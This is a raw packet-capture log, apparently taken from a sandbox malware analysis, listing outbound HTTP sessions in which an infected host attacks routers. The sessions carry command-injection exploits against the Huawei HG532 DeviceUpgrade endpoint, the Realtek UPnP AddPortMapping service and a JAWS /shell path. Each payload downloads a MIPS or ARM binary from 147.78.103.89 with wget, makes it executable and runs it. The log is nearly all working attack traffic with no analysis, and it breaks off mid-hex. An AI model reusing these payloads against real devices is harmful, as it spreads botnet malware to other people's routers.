                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:40.605559111 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:29.752136946 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      33192.168.2.154551645.125.109.3852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:55.968245029 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      34192.168.2.1533206156.77.130.3037215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:59.924997091 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      35192.168.2.153388283.66.96.985501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:00.000771046 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      36192.168.2.1541978185.147.59.2552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:00.383851051 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.486654997 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:09.626490116 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 